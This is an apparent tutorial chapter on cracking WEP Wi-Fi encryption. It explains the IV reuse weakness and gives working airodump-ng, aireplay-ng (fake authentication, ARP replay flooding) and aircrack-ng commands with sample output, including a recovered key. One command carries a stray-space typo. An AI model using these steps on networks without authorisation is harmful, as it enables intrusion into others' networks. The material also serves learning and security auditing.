

5. Gaining Access - WEP Cracking

Basics

- WEP means: Wired Equivalent Privacy
- It's an old encryption
- Uses an algorithm called **RC4**
- Still used in some networks
- Can be cracked easily

How Encryption works

- Each Package is encrypted via a unique Keystream
- Random Initialization Vector (IV) is used to generate the Keystreams
- The IV is only 24 bits
- $IV + (\text{password}) \text{ Key} = \text{keystream}$

WEP Cracking

- IV is too small (24bits)
- IV is sent in plain text

Weakness

- IV's **will repeat** on busy networks
- This will make WEP vulnerable to statistical attacks
- Repeated IV's can be used to determine the Keystream
- And break the encryption

We can use the tool aircrack-ng to determine the keystream

To crack WEP we need to

I am assuming, you already have done Part 1 and 2 of this tutorial

1. Capture a large amount of Packages/IVs (airodump-ng)

```
airodump-ng --bssid 11:22:33:44:55:66 --channel 12 --write ~/wep-cap wlan0
```

2. Analyse the captured IVs and crack the key (aircrack-ng)

```
aircrack-ng wep-cap.cap
```

It should look something like this:

```
root@kali:~# aircrack-ng basic_wep-01.cap
Opening basic_wep-01.cap
Read 328704 packets.

# BSSID          ESSID          Encryption
1 F8:23:B2:B9:50:A8 Test_AP3        WEP (155258 IVs)

Choosing first network as target.

Opening basic_wep-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 156072 ivs.
KEY FOUND! [ 41:73:32:33:70 ] (ASCII: As23p )
Decrypted correctly: 100%
```

If the ASCII Code isn't displayed, which will be sometimes the case, just use the key between the brackets, while removing the colons like this: 41:73:32:33:70 -> 4173323370

Which means, the target router will accept both: **As23p** or **4173323370** as password

WEP Cracking

Problem:

- If network is not busy
- It would take some time to capture enough IVs

Solution:

- Force the AP to generate new IVs

Fake Authentication

Problem:

APs communicate with connected clients

- We can't communicate with it
- we can't even start the attack

Solution:

- Associate (don't confuse with connecting to AP) with the AP before launching the attack

1) Use airodump-ng

```
airodump-ng --bssid 11:22:33:44:55:66 --channel 11 --write arpreplay wlan0
```

2) Associate with AP

```
aireplay-ng --fakeauth 0 -a 11:22:33:44:55:66 -h 48:5D:60:2A:45:25 wlan0
```

The MAC Address 48:5D:60:2A:45:25 is an example for your wireless adapter's MAC Address. You can get the MAC by typing:

```
ifconfig
```

```
mon0: flags=867<UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,ALLMULTI> mtu 1500
    unspec 48-5D-60-2A-45-25-30-3A-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
    RX packets 369825 bytes 45061639 (42.9 MiB)
    RX errors 0 dropped 54195 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Just use the first **12** chars and replace the minus with columns

After Running **aireplay-ng** the Option **AUTH** should be **OPN** and a new **Station** should appear. The Station should be your Adapters MAC Address

```
CH 6 ][ Elapsed: 4 mins ][ 2018-10-09 12:40
```

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
64:16:F0:EC:7B:F3	-33	100	2369	0 0	6	270	WEP	WEP	OPN	Test_AP

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
64:16:F0:EC:7B:F3	48:5D:60:2A:45:25	0	0 - 1	I 0	4	

This means, you are associated but not connected to the network. Which means you can now communicate with the AP. If you send anything to this network it will now accept it, even when not connected to the Network.

ARP Request Replay Attack

Problem

- If Network is not busy
- it would take some time to capture enough IVs

Solution

- Force the AP (AccessPoint) to generate new IVs

This is the most reliable and easy method

- Wait for an ARP packet
- Capture it and replay it (retransmit it)
- This causes the AP to produce another packet with a new IV
- Keep doing this till we have enough IVs to crack the key

1) Use airodump-ng

```
airodump-ng --bssid 11:22:33:44:55:66 --channel 11 --write arpreplay wlan0
```

2) Associate with the AP

```
aireplay-ng --fakeauth 0 -a 11:22:33:44:55:66 -h 48:5D:60:2A:45:25 wlan0
```

3) ARP Request Replay Attack

```
aireplay-ng -- arpreplay -b 11:22:33:44:55:66 -h 48:5D:60:2A:45:25 wlan0
```

Now it will flood the Access Point with packages to generate IV's

4) Now associate another time with the AccessPoint

```
aireplay-ng --fakeauth 0 -a 11:22:33:44:55:66 -h 48:5D:60:2A:45:25 wlan0
```

5) And run aircrack-ng

```
aircrack-ng arpreplay-01.cap
```

For easier layout, use Terminator as terminal, so you can split the terminal and have various commandlines open or use a terminal Multiplexer like tmux. I'd recommend to run 1) 3) and 5) at the same time.

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